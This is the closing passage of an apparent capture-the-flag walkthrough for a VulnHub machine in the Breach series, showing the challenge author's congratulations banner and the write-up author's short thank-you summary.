# ' `-' ;   | |        '  `-' / ' `-'  | '  `-' |   | |  | |     / '____  (   ) '  `-' / #
#  `.__.   (___)        `.__.'  `.__.'_.  `.__,'   (___)(___)   (_______)  `-'   `.__,'  #
#                                                          #        
#========================================================================================#


Congratulations on reaching the end. I have learned a ton putting together these challenges and I hope you enjoyed it and perhaps learned something new. Stay tuned for the final in the series, Breach 3.0

Shout-out to sizzop, knightmare and rastamouse for testing and g0tmi1k for hosting and maintaining #vulnhub.

-mrb3n

Summary

This was a really fun VM. Lots of hoops to jump through, and a good few tricks to learn. Thanks Ben R for the challenge, and of course thanks to VulnHub for hosting it.